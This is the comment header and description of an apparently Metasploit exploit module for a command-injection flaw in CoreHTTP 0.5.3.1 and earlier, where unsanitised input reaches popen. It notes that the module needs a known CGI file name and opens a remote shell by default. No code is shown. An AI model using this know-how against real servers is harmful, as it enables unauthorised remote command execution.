`###  
## MSF Exploit for CoreHTTP CGI Enabled Remote Arbitrary Command Execution  
## CoreHTTP fails to properly sanitize user input before passing it to popen,  
## allowing anyone with a web browser to run arbitrary commands.  
## No CVE for this yet.

This module exploits a remote command execution vulnerability in corehttp versions 0.5.3.1 and earlier.  
It requires that you know the name of a cgi file on the server.  
NOTE: If you want to do something more than remote shell, you'll have to change CGICMD
